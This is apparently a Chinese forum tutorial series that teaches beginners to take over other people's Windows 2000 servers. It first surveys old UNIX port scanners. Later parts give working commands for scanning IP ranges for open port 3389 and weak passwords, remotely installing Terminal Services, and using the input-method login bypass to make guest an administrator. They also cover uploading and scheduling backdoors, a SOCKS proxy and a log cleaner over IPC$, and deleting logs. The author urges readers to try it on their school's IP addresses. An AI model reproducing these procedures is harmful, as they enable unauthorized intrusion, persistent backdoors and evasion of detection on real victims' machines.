■在对NSS进行解压缩后,不能立即运行NSS,需要对它进行一些修改,必须设置一些环境变量,以适应你的机器配置。主要变量包括:
■$TmpDir_NSS使用的临时目录
■$YPX-ypx应用程序的目录
■$PING_可执行的ping命令的目录
■$XWININFO_xwininfo的目录
提示:如果你隐藏了Perl include目录(目录中有Perl include文件),并且在PATH环境变量中没有包含该目录,你需要加上这个目录;同时,用户应该注意NSS需要ftplib.pl库函数。NSS具有并行能力,可以在许多工作站之间进行分布式扫描。而且,它可以使进程分支。在资源有限的机器上运行NSS(或未经允许运行NSS)应该避免这种情况,在代码中有这方面的选项设置。
你可在下面地址找到NSS拷贝。 http://www.giga.or.at/pub/hacker/unix
二。Strobe(超级优化TCP端口检测程序)
strobe是一个TCP端口扫描器,它可以记录指定机器的所有开放端口。strobe运行速度快(其作者声称在适中的时间内,便可扫描整个一个国家的机器)。
strobe的主要特点是,它能快速识别指定机器上正在运行什么服务。strobe的主要不足是这类信息是很有限的,一次strobe攻击充其量可以提供给“入侵者”一个粗略的指南,告诉什么服务可以被攻击。但是,strobe用扩展的行命令选项弥补了这个不足。比如,在用大量指定端口扫描主机时,你可以禁止所有重复的端口描述。(仅打印首次端口定义)其他选项包括:
■定义起始和终止端口
■定义在多长时间内接收不到端口或主机响应,便终止这次扫描。
■定义使用的socket号码
■定义strobe要捕捉的目标主机的文件
提示:在你获得strobe的同时,必然获得手册页面,这对于Solaris 2.3是一个明显的问题,为了防止发生问题,你必须禁止使用getpeername()。在行命令中加入-g 标志就可以实现这一目的。
同时,尽管strobe没有对远程主机进行广泛测试,但它留下的痕迹与早期的ISS一样明显,被strobe扫描过的主机会知道这一切(这非常象在/var/adm/messages文件中执行连接请求)。
三。SATAN(安全管理员的网络分析工具)
SATAN是为UNIX设计的,它主要是用C和Perl语言编写的(为了用户界面的友好性,还用了一些HTML技术)。它能在许多类UNIX平台上运行,有些根本不需要移植,而在其他平台上也只是略作移植。
注意:在Linux上运行SATAN有一个特殊问题,应用于原系统的某些规则在Linus平台上会引起系统失效的致命缺陷;在tcp-scan模块中实现select()调用也会产生问题;最后要说的是,如果用户扫描一个完整子网,则会引进反向fping爆炸,也即套接字(socket)缓冲溢出。但是,有一个站点不但包含了用于Linux的、改进的SATAN二进制代码,还包含了diff文件,这些条款可以在ftp.lod.com
上发现,或者可以直接从Sun站点(sunsite.unc.edu)取得diff文件:
/pub/linux/system/network/admin/satan-linux.1.1.1.diff.gz
SATAN用于扫描远程主机的许多已知的漏洞,其中包括,但并不限于下列这些漏洞:
■FTPD脆弱性和可写的FTP目录
■NFS脆弱性
■NIS脆弱性
■RSH脆弱性
■Sendmail
■X服务器脆弱性
你可在下面地址中获得SATAN的拷贝: http://www.fish.com
安装过程
SATAN的安装和其他应用程序一样,每个平台上的SATAN目录可能略有不同,但一般都是/satan-1.1.1。安装的第一步(在阅读了使用文档说明后)是运行Perl程序reconfig。这个程序搜索各种不同的组成成分,并定义目录路径。如果它不能找到或定义一个浏览器。则运行失败,那些把浏览器安装在非标准目录中(并且没有在PATH中进行设置)的用户将不得不手工进行设置。同样,那些没有用DNS(未在自己机器上运行DNS)的用户也必须在/satan-1.1.1/conf/satan.cf中进行下列设置:$dont_use_nslookuo=1;在解决了全部路径问题后,用户可以在分布式系统上运行安装程序(IRIX或SunOS),我建议要非常仔细地观察编译,以找出错误。
提示:SATAN比一般扫描器需要更多一些的资源,尤其是在内存和处理器功能方面要求更高一些。如果你在运行SATAN时速度很慢,可以尝试几种解决办法。最直接的办法就是扩大内存和提高处理器能力,但是,如果这种办法不行,我建议用下面两种方法:一是尽可能地删除其他进程;二是把你一次扫描主机的数量限制在100台以下。最后说明的一点是,对于没有强大的视频支持或内存资源有限的主机,SATAN有一个行命令接口,这一点很重要。
四。Jakal
Jakal是一个秘密扫描器,也就是就,它可以扫描一个区域(在防火墙后面),而不留下任何痕迹。
秘密扫描器工作时会产生“半扫描”(half scans),它启动(但从不完成)与目标主机的SYN/ACK过程。从根本上讲,秘密扫描器绕过了防火墙,并且避开了端口扫描探测器,识别出在防火墙后面运行的是什么服务。(这里包括了像Courtney和GAbriel这样的精制扫描探测器)
在下面地址中可以找到由Half life,Jeff(PhiJi)Fay和Abdullah Marahie编写的Jakal拷贝: http://www.giga.or.at.pub/hacker/unix
⑸IdentTCPscan
IdentTCPscan是一个更加专业化的扫描器,其中加入了识别指定TCP端口进程的所有者的功能,也就是说,它能测定该进程的UID。
五.CONNECT
CONNECT是一个bin/sh程序,它的用途是扫描TFTP服务子网
六。FSPScan
FSPScan用于扫描FSP服务顺。FSP代表文件服务协议,是非常类似于FTP的Internet协议。它提供匿名文件传输,并且据说具有网络过载保护功能(比如,FSP从来不分*)。FSP最知名的安全特性可能就是它记录所有到来用户的主机名,这被认为优于FTP,因为FTP仅要求用户的E-mail地址(而实际上根本没有进行记录)。FSP相当流行,现在为Windows 和OS/2开发了GUI客户程序
七。XSCAN
XSCAN扫描具有X服务器弱点的子网(或主机)。乍一看,这似乎并不太重要,毕竟其他多数扫描器都能做同样的工作。然而,XSCAN包括了一个增加的功能:如果它找到了一个脆弱的目标,它会立即加入记录。
XSCAN的其他优点还包括:可以一次扫描多台主机。这些主机可以在行命令中作为变量键入(并且你可以通过混合匹配同时指定
上面的有些是英文界面的,不过好像不少都用汉化补丁,找找吧。
还要推荐一个特好的(我第一次见到她就喜欢上了)就是SSS,Shadow Security Scanner
下载:http://www.20cn.net/cgi-bin/download/dow...ist=scaner
天天安全的SSS下载能即使更新
关于NAMP的使用大家看看这个帖子 http://www.91one.net/dvbb......id=17&id=...tar=1#1362
[第3天]继续讲扫描
有人提意见了,说讲的太慢了,可我无法想象你连扫描,端口之类还弄不清楚,怎么进一步发展呢,昨天讲了扫描,相信很多朋友已经PING 了很多主机了吧,千万别弄我的啊,我用的是人家的主机,他们很白的。找到了漏洞的目的是什么呢?是控制对方,即是获得远程shell。shell这个概念是从UNIX下继承过来的,是指与xx作系统核心的一种交互方式和界面。还是不懂是吗?有篇关于SHELL的帖子大家去看一看
http://www.91one.net/dvbbs/dispbbs.asp?b...17&id=1426
,如果还不知道就算了,你知道有这个词就可以了。
怎么得到shell呢?这很关键,有很多方法:典型的例子是telnet。得到shell的办法有很多种,比如通过系统自带的telnet,终端服务。或者用木马和工具提供的,如winshell,冰河等等。说到冰河我不想说那么多没有篇文章很好大家看一下:http://978229.myrice.com/tty/Preview.htm#MAILLISTDOC19
得到shell后,不是所有权限都会开的,得到管理员权限当然是我们的梦想了。所以有时会有提升权限的问题。当然这也是利用了漏洞。
Win2K 提升权限漏洞
http://www.yesky.com/20010530/182273.shtml ;
Microsoft SQL Server Webtasks权限提升漏洞 http://www.mhdn.net/se/2002-11-08/6386.html
Linux kernel ptrace提升权限漏洞 http://www.softhouse.com.cn/docs/southpark2169.html
IIS提升权限漏洞
http://moon-soft.com/e_co......t/doc/rea...572760.htm
当然这些漏洞大都有补丁可下了,如果管理员勤快的话就不好了,不过很多人都很马虎的,我认识个管理员是一个高校的,用的是win2000竟从不打补丁,理由是俺用的是D版的,打补丁恐怕会冲系统啊(有道理啊)
觉得讲shell还不透彻(有朋友发短信问我了),我查了一下资料:
Shell是什么?
任何发明都具有供用户使用的界面。UNIX供用户使用的界面就是Shell(DOS的command熟悉吧,但UNIX的要强大的多)。 Shell为用户提供了输入命令和参数并可得到命令执行结果的环境。形象点就是:dos中的command.com就是一种shell程序
今天就说到这,最后写个小知识:针对网吧的限制 对有些朋友或许有用哦
http://www.91one.net/dvbbs/dispbbs.asp?b...=17&id=769
[第4天]从终端服务3389讲起
昨天我们讲到了提升权限的问题,好现在我们就来说一个简单的入侵,从3389找个肉鸡(没有肉鸡的话,对自己的技术提高是没好处的,不能老是看却不练啊,陈同学你说对吗?)
请各位注意,我这里并不是说什么烂鬼输入法漏洞。这种漏洞差不多已经绝迹了,太难找了,如果有人找到了,那恭喜你啦。众所周知,有开3389的一般都是服务器,也就是说有很大可能带局域网的,而内部入侵比外部要方便一点,这对大家是很好的,我想看我这个东西的很多都是学生吧(声明我就个学生哦)。如何能快速方便的得到开了终端的肉机呢?这需要用到两个工具,都是扫描工具来的,scanner3.0和焦点的xscan。打开scanner,输入一段IP,范围要大一点,scanner速度很快的。在“所有端口从”那里都填3389,点击“开始”就可以开工了。
很快的,扫描完成,结果出来了。点击右下脚的“删除”把多余的IP删了,只留下开了3389的IP。再点击“保存”,把结果保存到文件夹里。找到保存文件的目录,打开它。用记事本的替换功能把它保存为一个纯IP的TXT文件。“编辑-替换”在“查找内容”里输入要删除的垃圾,再点“全部替换”就行了。打开xscan,点击左边的蓝色按钮,进入“扫描板块”,只需在“SQL-Server弱口令”“NT-Server弱口令”前打钩,其他都清除掉。再点击右边的蓝色按钮,进入“扫描参数”,钩上“从文件获取主机列表”,打开刚才替换成纯IP的TXT文件,确定之后就可以扫描了。这时需要比较长的时间!(注意我是拿3.0为例的,其他的也差不多)。确定目标,用mstsc(登陆终端的工具,这个我不喜欢用,但确实很容易上手的)登陆对方主机后,打开对方cmd.exe,输入“net use”,先看看有没有人也在连接这部机(安全一点好,毕竟不是在学雷峰啊)。“net view”命令之后当出现一堆前面带\\字符的就表示~~就表示什么呢??我想大家都非常明白吧!,如果不明白的话,我。。(也不知道怎么说了 )
想做个补充
发现很多朋友对什么叫终端服务有点模糊
好,我们就详细说说 毕竟这个概念很重要的
终端服务提供了通过作为终端仿真器工作的“瘦客户机”软件远程访问服务器桌面的能力。终端服务只把该程序的用户界面传给客户机。客户机然后返回键盘和鼠标单击动作,以便由服务器处理。每个用户都只能登录并看到它们自己的会话,这些会话由服务器操作系统透明地进行管理,而且与任何其他客户机会话无关。客户软件可以运行在多个客户机硬件设备上,包括计算机和基于 Windows 的终端。其他设备,如 Macintosh 计算机或基于 UNIX 的工作站,也可以使用其他第三方的软件连接到终端服务器。
终端服务可以在应用服务器模式或远程管理模式下在服务器上进行配置。作为应用服务器,终端服务提供了一种有效而可*的方式,通过网络服务器分发基于 Windows 的程序。在应用服务器模式下,终端服务为可能无法正常运行 Windows 的计算机显示 Windows 2000 的桌面以及目前基于 Windows 的大多数应用程序。在远程管理模式下使用时,终端服务提供了远程访问的能力,使您可以从网络上的任何地方虚拟地管理您的服务器。
终端服务有以下好处:
更快地显示 Windows 2000 的桌面。终端服务架设了一座从旧式桌面迁移到 Windows 2000 Professional 的桥梁,为非计算机桌面以及需要进行硬件升级才能在本地完全运行 Windows 2000 操作系统的计算机提供了一种虚拟的 Windows 2000 桌面环境。终端服务客户可用于多种不同的桌面平台,包括 MS-DOS、基于 Windows 的终端、Macintosh 和 UNIX。(与 MS-DOS、Macintosh 和基于 UNIX 的计算机的连接需要附加的软件)。
充分利用已有的硬件。终端服务扩展了分布式计算模型,允许计算机同时作为瘦客户机和具有完整功能的个人计算机操作。当计算机在现有的网络上时,可以继续使用,同时也可作为能仿真 Windows 2000 Professional 桌面的瘦客户机使用。
程序的集中配置。使用运行在 Windows 2000 Server 上的终端服务,所有程序的执行、数据的处理以及数据的存储都在服务器上进行,程序得以集中配置。终端服务可确保所有客户机都能访问当前版本的程序。软件只能在服务器上安装一次,而不能安装在您单位的每个桌面上,这样可减少单独更新计算机所花费的成本。
远程管理。终端服务提供了对 Windows 2000 Server 的远程管理,为系统管理员提供了从任何客户机通过广域网或拨号连接远程管理其服务器的一种方法。
功能:
易于使用
可管理性
安全性
易于使用
功能 说明 详细信息,请参阅:
自动的本地打印机支持 Windows 2000 Server 终端服务可以添加并自动重新连接终端服务客户所连接的打印机。 提供对本地打印机的客户访问
剪贴板重定向 现在,用户可以在运行于本地计算机和终端服务器上的程序之间剪切和粘贴。 共享的剪贴板
性能增强 对缓存功能的增强,包括持久性缓存、数据包的利用和数据帧大小,明显地改进了终端服务的性能。 位图缓存
漫游式断开连接支持 此功能使用户不用注销即可从会话中断开连接。在断开时会话仍可保持活动状态,这使得用户可以从另一台计算机中或在稍后某个时间重新连接到现有会话。重新连接需要登录,以便在任何时候都能保证每个会话的安全性。 注销或断开连接
多登录支持 用户可以登录到多个会话,同时从一个或多个客户机到多个 Windows 2000 Server,或者多次登录到一个服务器。这样,用户就可以同时执行多项任务或运行多个单独的桌面会话。 管理用户和客户机
可管理性
功能 说明 详细信息,请参阅:
会话远程控制 支持者可查看或控制另一终端服务会话。键盘输入、鼠标移动以及图形显示可在两个终端服务会话之间共享,为支持者提供了诊断和解决配置问题以及远程培训用户的能力。此功能对于带有分支机构的单位特别有用。 远程控制
网络负载平衡 网络负载平衡使终端服务客户可连接到运行终端服务的服务器组中最轻闲的成员。 网络负载平衡和终端服务
基于 Windows 的终端 根据 Windows CE 操作系统和远程桌面协议 (RDP) 的自定义实现,不同的制造商可提供基于 Windows 的终端。
客户连接管理器 管理员和用户可以为一个程序或全部桌面访问建立到服务器的预定义连接。客户连接管理器在客户机桌面上创建图标,以便能通过一次单击连接到一个或多个终端服务器。想在计算环境中提供单个程序的管理员可以创建连接并将该连接与终端服务客户软件一同分发。 管理终端服务用户连接
终端服务授权 终端服务授权帮助系统管理员和采购部门跟踪客户机及其相关许可证。 授权终端服务
分布式文件系统 (DFS) 支持 对分布式文件系统 (DFS) 的支持使用户可以连接到 DFS 共享位置,而且使管理员可以从终端服务器主控 DFS 共享。 分布式文件系统概述
终端服务管理器 管理员可以使用终端服务管理器查询和管理 Windows 2000 Server 上的终端服务会话、用户和进程。 管理终端服务
终端服务配置 终端服务连接配置可用于创建、修改和删除 Windows 2000 Server 上的一个或一组会话并访问服务器设置。 配置终端服务
与 Windows 2000 Server“本地用户和组”以及“Active Directory 用户和计算机”的集成 管理员可以按照为 Windows 2000 Server 用户创建帐户的相同方式为终端服务用户创建帐户。另有一些字段可用来指定终端服务专用信息,如终端服务配置文件路径和主目录。 终端服务用户帐户
与 Windows 2000 Server 系统监视器的集成 与 Windows 2000 Server 系统监视器的集成使管理员可以监视器终端服务系统性能,包括跟踪处理器的使用情况、内存分配和分页内存使用情况,并在每个用户的会话之间交换。 性能监视
消息传递支持 管理员可以就一些重要的信息警告用户,如系统关机、升级或新程序。 使用终端服务管理器
远程管理 具有管理级特权而且可访问终端服务管理级实用程序的任何用户都可以远程管理运行终端服务的服务器的各方面工作。
可配置的会话超时设置 管理员可以通过配置会话超时来减少服务器资源的使用。管理员可以指定活动会话的长度以及会话可在服务器上闲置多长时间 配置会话限制
安全性
功能 说明 详细信息,请参阅:
加密 多级加密使管理员可以根据安全性需要在三种不同级别(低级、中级或高级)上加密在 Windows 2000 Server 和终端服务客户之间传输的所有或部分数据。另外,终端服务登录过程包括更改密码、桌面解锁以及屏幕保护功能解锁。登录过程是加密的,以确保用户名称和密码的安全传输。终端服务支持在服务器和客户机之间的 40 位和 128 位加密(128 位加密只能在美国和加拿大使用)。 确定加密的级别
限制登录尝试和连接时间 管理员可以限制用户登录尝试次数,以防止有人未授权访问服务器。另外,个别用户或分组用户的连接时间可以进行限制。 配置终端服务
终端服务配置概述
终端服务连接提供了客户机可用于登录到服务器上某个会话的链接。TCP/IP 连接是当终端服务在 Windows 2000 Server 上启用时自动配置的。使用终端服务配置,您可以更改连接的默认属性或添加新连接。
终端服务配置
打开终端服务配置时,您将会看到已经配置的连接。这称为 RDP-TCP 连接。通常,这只是需要为使用终端服务器的客户配置的连接。对于终端服务器,只能为每个网卡配置一个 RDP(远程桌面协议)连接。如果要配置其他的 RDP 连接,您必须安装附加的网卡。
使用终端服务配置,您可以重新配置 RDP-TCP 连接的属性,包括限制客户机会话在服务器上保持活动状态的时间、设置加密的保护级别以及选择您希望用户和组具备的权限。某些连接属性也可以使用“本地用户和组”的终端服务扩展程序在每用户基础上配置。例如,当您使用“本地用户和组”的终端服务扩展程序时,可以为每个用户设置不同会话期限。使用终端服务配置,您可以只在每连接基础上设置会话期限,这意味着相同期限将应用于使用连接登录到服务器的所有用户。
除配置连接以外,您可以使用“终端服务配置”功能配置可应用于终端服务器的设置。包括临时文件夹的设置、默认连接安全性以及启用/禁用 Internet 连接器许可。详细信息,请参阅配置服务器设置。
基于 Citrix CA 的客户机
终端服务配置还用于为基于 Citrix CA 的客户机配置连接。当 Citrix CA 协议和基于 Citrix CA 的客户软件添加到该系统时,可以使用 TCP/IP、同步、IPX/SPX 或 NetBIOS 传输协议配置这些连接
有很多朋友问怎么开启3389终端服务下面我们一起来探索一下远程开启3389的方法. 首先我们应该了解3389终端服务,可以运行在什么系统下,个人了解,终端服务在M$的大部分
产品中都可运行,如:winnt4/win2000server/win2000ADV-server/win2000DS/XP等.
但winnt4中是需要单独购买的,2000专业版不能远程安装终端服务的,至少我没成功过.
我们在以下的探索中,是以win2000server和高级server为例的.(现在用的也最多).
现在开始. 假设我们拿到了一个主机的管理员帐户和密码.
主机: 192.168.0.1
帐号: administrator
密码: 7788
2000系统安装在c:\winnt下
从上面的的介绍可以知道,2000专业版是不可以远程安装终端服务的,那我们就要首先来
判断此主机是专业版还是服务器版,才能进入下一个环节. 我们可以先用对方所开帐户判断: c:\>letmein \\192.168.0.1 -all -d
stating connecting to server ...
Server local time is: 2002-1-13 10:19:22
Start get all users FORM server...
--------------------------
Total = 5
--------------------------
num0= Administrator ()
num1= Guest ()
num2= IUSR_servername (Internet 来宾帐号 )
num3= IWAM_servername (启动 IIS 进程帐号)
num4= TsInternetUser (TsInternetUser)
--------------------------
Total = 5
-------------------------- 一般情况num2/3/4这三个帐户都是2000server默认开启的.
2000专业版默认是不开这些帐户的. 我们也可以扫描对方开放的端口进一步确认:
用扫描软件如
uperscan3.exe扫描对方所开端口 判断对方是否开启25,3372等2000server默认开启的端口. 当然我们还可以使用一些工具,如:cmdinfo.zip
这2个东东可以获得本地或远程NT/2K主机的版本,系统路径,源盘路径,PACK版本,安装时间等一
系列信息,一个图形界面,一个命令行.
通过返回的信息就可以很清楚的了解对方主机情况. 还有一些其他的方法来判断,如:从对方所开的服务来确定等,
从上面的判断准确率还算高,别的就不一一说明了.
如果你在以上步骤里发现对方主机并没有那3个帐户,默认端口也没开,
或cmdinfo返回的信息对方是2000专业版,你就要放弃安装3389的计划了.
现在我们要进入下一环节:
判断终端服务到底有没有安装? 你也许要问:为什么还要判断啊?我扫描没有发现3389端口啊
这里就需要解释一下,如果装了终端服务组件,可能有哪几种情况扫描不到3389端口?
1.终端服务termservice在"管理工具">>>"服务"中被禁用.
2.终端服务连接所需的RDP协议在"管理工具">>>"终端服务配置"中被停用连接.
3.终端服务默认连接端口3389被人为的改变.如何改变请看修改终端服务默认的3389端口
4.终端服务绑定的网络适配器不是外网的.
5.防火墙和端口过滤之类的问题.
6.....(还有我没想到的)
其实,我们遇到最多的情况就是以上5种情况. 现在开始判组件是否被安装. 先与远程主机连接,映射远程主机C盘为本地Z盘
net use z: \\192.168.0.1\c$ "7788" /user:"administrator"
命令成功完成。 然后转到Z盘,检查
Z:\Documents and Settings\All Users\「开始」菜单\程序\管理工具>
里是否有 "终端服务管理器"和"终端服务配置"的快捷方式文件
如有已安装服务组件的会有,反之,没有(98% 人为故意删的可能性较小)
我们还可以在下一步telnet到对方主机后使用终端服务自带的命令进一步的核实. 判断完毕,对方好像是没有安装终端服务组件,可以进入下一步:
telnet登陆对方主机,准备安装服务组件. 在这里,我强烈建议使用2000自带的telnet服务端登陆,
有回显,不容易出错.个人感觉使用它,一次成功的比例高很多.(呵呵~,个人理解啊!)
就算没有开,打开用完后再关掉就完了.
.abu.写的最快速登录WIN2K TELNET 服务已经把这个方法介绍的非常详细,
而且他的办法(在本机建立同名,同密码帐户),让快速实现telnet登陆成为现实. 假如我们已开启对方23端口,
telnet 192.168.0.1
输入用户名/密码
*===============================================================
欢迎使用 Microsoft Telnet 服务器。
*===============================================================
C:\>
\\成功进入!!!! 进入后,再次检查终端组件是否安装:
c:\>query user
这个工具需要安装终端服务. 这样就进一步确定了组件没有被安装.如果返回:
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>w1 console 0 运行中 . 2002-1-12 22:5
\\类似这样的信息,可能组件就已安装. 好!都清楚了,可以开始安装了.
---------------------------------------------------
C:\>dir c:\sysoc.inf /s //检查INF文件的位置
c:\WINNT\inf 的目录 2000-01-10 20:00 3,770 sysoc.inf
1 个文件 3,770 字节
-----------------------------------------------------
C:\> dir c:\sysocmgr.* /s //检查组件安装程序
c:\WINNT\system32 的目录 2000-01-10 20:00 42,768 sysocmgr.exe
1 个文件 42,768 字节
-----------------------------------------------------
c:\>echo [Components] > c:\wawa
c:\>echo TSEnable = on >> c:\wawa
//这是建立无人参与的安装参数
c:\>type c:\wawa
[Components]
TSEnable = on
//检查参数文件
------------------------------------------------------
c:\>sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\wawa /q
-----------------------------------------------------
这一条就是真正安装组件的命令.
以上这条命令没有加/R参数,主机在安装完后自动重起.
如若加了/R参数主机就不会重起. 如果一切正常的话,几分钟后对方主机将会离线,当它重新回来时,
3389终端服务就已经开启.你就可以连上去了. 问题和建议: A 在安装过程中,不使用/R,有时主机也不会重起,你就要手动重起他,但在使用诸如:iisreset /reboot命令时,对方
的屏幕会出现个对话框,写着谁引起的这次启动,离重起还有多少秒. B 一次不行可以再试一次,在实际中很有作用. C 在输入sysocmgr命令开始安装时,一定不要把命令参数输错,那会在对方出现一个大的对话框,是sysocmgr的帮助,很是显眼,
而且要求确定.在你的屏幕上是不会有任何反应的,你不会知道出错,所以会有B的建议.
好了以后你就想干什么就干什么了。不过有时候还真不知道干什么,总之得干个事,装个什么局域网控制软件,不过不要体积太大,容易被发现。
超强 C 语言代码,你有信心看懂吗?
刚刚说有输入法漏洞的机子很少了,但有些朋友担心还有怎么办,不是吃大亏了吗?这样我找了一篇写的不错的文章贴一下( 注意是转载)写的不错,据说是新写的,这位大哥也真闲啊
WIN2000中文简体版存在的输入法漏洞,可以使本地用户绕过身分验证机制进入系统内部。经实验,WIN2000中文简体版的终端服务,在远程操作时仍然存在这一漏洞,而且危害更大。
WIN2000的终端服务功能,能使系统管理员对WIN2000进行远程操作,采用的是图形界面,能使用户在远程控制计算机时功能与在本地使用一样,其默认端口为3389,用户只要装了WIN2000的客户端连接管理器就能与开启了该服务的计算机相联。因此这一漏洞使终端服务成为WIN2000的合法木马。
工具:客户端连接管理器,下载地址:自己找吧,天天有好几种呢。
入侵步骤:
一,获得管理员账号。
我们先对一个网段进行扫描,扫描端口设为3389,运行客户端连接管理器,将扫描到的任一地址加入到,设置好客户端连接管理器,然后与服务器连结。几秒钟后,屏幕上显示出WIN2000登录界面(如果发现是英文或繁体中文版,放弃,另换一个地址),用CTRL+SHIFT快速切换输入法,切换至全拼,这时在登录界面左下角将出现输入法状态条(如果没有出现,请耐心等待,因为对方的数据流传输还有一个过程)。用右键点击状态条上的微软徽标,弹出“帮助”(如果发现“帮助”呈灰色,放弃,因为对方很可能发现并已经补上了这个漏洞),打开“帮助”一栏中“操作指南”,在最上面的任务栏点击右键,会弹出一个菜单,打开“跳至URL”。此时将出现WIN2000的系统安装路径和要求我们填入的路径的空白栏。比如,该系统安装在C盘上,就在空白栏中填入"c:\winnt\system32"。然后按“确定”,于是我们就成功地绕过了身份验证,进入了系统的SYSTEM32目录。
现在我们要获得一个账号,成为系统的合法用户。在该目录下找到"net.exe",为"net.exe"创建一个快捷方式,右键点击该快捷方式,在“属性”->“目标”->c:\winnt\system32\net.exe后面空一格,填入"user guest /active :yes"点“确定”。这一步骤目的在于用net.exe激活被禁止使用的guest账户,当然也可以利用"user 用户名 密码/add",创建一个新账号,但容易引起网管怀疑。运行该快捷方式,此时你不会看到运行状态,但guest用户已被激活。然后又修改该快捷方式,填入"user guest 密码",运行,于是guest便有了密码。最后,再次修改,填入“localgroup administrators guest /add,将guest变成系统管理员。
注意事项:1、在这过程中,如果对方管理员正在使用终端服务管理器,他将看到你所打开的进程id,你的ip和机器名,甚至能够给你发送消息。
2、终端服务器在验证你的身份的时候只留给了你一分钟的时间,在这一分钟内如果你不能完成上述操作,你只能再连结。
3、你所看到的图像与操作会有所延迟,这受网速的影响。
二,创建跳板。
再次登录终端用务器,以"guest"身份进入,此时guest已是系统管理员,已具备一切可执行权。打开“控制面板”,进入“网络和拔号连接”,在“本地连接”或“拔号连接”中查看属性,看对方是否选择“Microsoft 网络的文件和打印机共享”,如果没有,就打上勾。对方如果使用的是拔号上网,下次拔号网络共享才会打开。
退出对方系统,在本地机命令提示符下,输入
net use \\IP Address\IPC$ ["password"] /user:"guset",通过IPC的远程登陆就成功了。
登陆成功之后先复制一个Telnet的程序上去(小榕流光安装目录下的Tools目录里的Srv.exe,另外,还有ntml.xex,一会要用),这个程序是在对方上面开一个Telnet服务,端口是99。
copy c:\hack\srv.exe \\***.***.***.***\admin$
然后利用定时服务启动它,先了解对方的时间:
net time \\***.***.***.***
显示:
\\***.***.***.*** 的当前时间是 2001/1/8 下午 08:55
命令成功完成。
然后启动srv.exe:
at \\***.***.***.*** 09:00 srv.exe
显示:
新加了一项作业,其作业 ID = 0
过几分钟后,telnet ***.***.***.*** 99
这里不需要验证身份,直接登录,显示:
c:\winnt:\system32>
我们就成功登陆上去了。然后又在本地打开命令提示符,另开一个窗口,输入:
copy c:\hack\ntlm.exe \\211.21.193.202\admin$
把事先存放在hack目录里的ntlm.exe拷过去。然后又回到刚才的telnet窗口,运行ntlm.exe
C:\WINNT\system32>ntlm
显示:
Windows 2000 Telnet Dump, by Assassin, All Rights Reserved.
Done!
C:\WINNT\system32>
C:\WINNT\system32>
好,现在我们来启动WIN2000本身的telnet,首先终止srv.exe的telnet服务:
net stop telnet 系统告诉你并没有启动telnet,不理它,继续:
net start telnet 这次真的启动了telnet,我们可以在另开的命令提示符窗口telnet到对方的
23端口,验证身份,输入我们的guest账号和密码,它就真正成为我们的跳板了。我们可以利用它到其它的主机去。
三、扫除脚印:
删除为net.exe 创建的快捷方式,删除winnt\system32\logfiles下边的日志文件
[第5天]从简单的网络命令讲起
昨天的帖子发表后,很多朋友问了很多问题,我发现很多朋友对基本的网络命令还很生疏,请你看这个帖子,里面讲的很详细的http://www.91one.net/dvbbs/dispbbs.asp?b...=14&ID=403
有个朋友问了我个问题:端口映射是什么意思??
其实很简单的,采用端口映射(Port Mapping)的方法,可以实现从Internet到局域网内部机器的特定端口服务的访问。例如,你所使用的机子处于一个连接到Internet的局域网内,你在机子上所开的所有服务(如FTP),默认情况下外界是访问不了的。这是因为你机子的IP是局域网内部IP,而外界能访问的只有你所连接的服务器的IP,由于整个局域网在Internet上只有一个真正的IP地址,而这个IP地址是属于局域网中服务器独有的。所以,外部的Internet登录时只可以找到局域网中的服务器,那你提供的服务当然是不起作用的。
所以解决这个问题的方法就是采用PM了。
有篇文章不错。大家看看:http://www.pconline.com.cn/pcedu/soft/la...27157.html
继续讲,昨天有人说我找到个肉鸡,但不会用远程控制软件。先说用什么好呢
我推荐Remote Administrator,有篇介绍它的文章很好:http://www.pcworld.com.cn/2002/back_issu.../0533e.asp
下载:http://www.skycn.com/soft/15592.html
我想里面的说明你应该能很好理解的
现在我以一个例子来说一下怎么获得一个肉鸡,虽然前面一直在说,但好象有点乱的,下面说的这个有点投机取巧的感觉,至少我这样觉得,不过因为很多朋友说都5天了,我什么都没搞到啊,所以只能。。
第一步:扫描弱口令
这里我用20cn开发的scanipc (这http://down.yqdown.com/xdown/yqdown0316/scanipc.rar有下的)
不一会就会扫到很多有弱口令的主机
(你可以拿你们学校的IP试试)
这里我用opentelnet(远程启动TELNET的小东西,这里下:http://www.infosw.com/down/software.asp?id=1520)给扫描到开了空口令的主机开个端口让我们telnet连接上去
,开了23端口,并可以连接上的主机就不用进行次步骤了!
Opentelnet使用方法:
OpenTelnet.exe \\server <帐号> <密码> <NTLM认证方式> <Telnet端口>
列如:
C:\>OpenTelnet.exe \\192.168.1.2 administrator 123456 1 90 用户名:administrator 密码:123456
NTLM认证方式:1(也可以选择0请自己测试) 开的端口:90
运行完,如果屏幕上出现 Disconnecting server...Successfully! 就说明已经成功。
这样,我们就能够得到一个开90端口的Telnet服务器了。
Telnet 192.168.1.2 90
这样就可以登录上去了。
第三步:配置并安装后门程序
这里我选择WinShell(小巧精干我喜欢下载:http://www.hktk.com/soft/soft_server/winshell.html),用winshell主程序设置好后门,然后把后门程序传到台FTP空间上!
列如:
c:\>ftp
ftp>openwww.cnwill.com
然后输入用户名字 密码把后门传上去mput c:\cnwill.exe
现在我们登陆到肉鸡上 Telnet 192.168.1.2 90
把刚上传的后门程序下载并运行(别忘记删除 后门程序)
『后门也可以用net命令完成』
net user \\192.168.1.2 90\ipc$ "" /user:"administrator"
[ 建 立 IPC$ 连 接 ]
copy d:\zilong.exe \\192.168.1.2 90\admin$\system32
[ 上 传 一 个 后 门 程 序 到 对 方 的 主 机 里]
copy d:\long.exe \\192.168.1.2 90\admin$\system32
[上 传 一 个 删 除 日 志 程 序 到 对 方 的 主 机 里]
copy d:\scoks.exe \\192.168.1.2 90\admin$\system32
[ 上 传 一 个 SCOKS 代 理 程 序 到 对 方 的 主 机 里]
copy d:\zilong.reg \\192.168.1.2 90\admin$\system32
[上 传 导 入 注 册 表的 REG 文 件 到 对 方 的 主 机 里]请看后门说明
net time \\192.168.1.2 90
[ 得 到 对 方 主 机 的 当 前 时 间]
at \\192.168.1.2 90 13:20 zilong.exe
[用 a t命 令 执 行 我 们 的 后 门 程 序] 别 把 时 间 搞 错 了 哦
==============
如果大家用不习惯命令的话,那就用流光的IPC种植者吧,简单易用.这里就不赘述啦
=============
telnet 192.168.1.2 90
[ 从 我 们 设 置 的 后 门 程 序 登 陆 主 机 ]
net user **** /add
[近来后添加一个用户名再说或者也可以选择激活guest]
net localgroup administrators **** /add
[ 把 自 己 添 加 到 管 理 组 里,这 样 我 们 就 是 超 级 管 理 员 了]
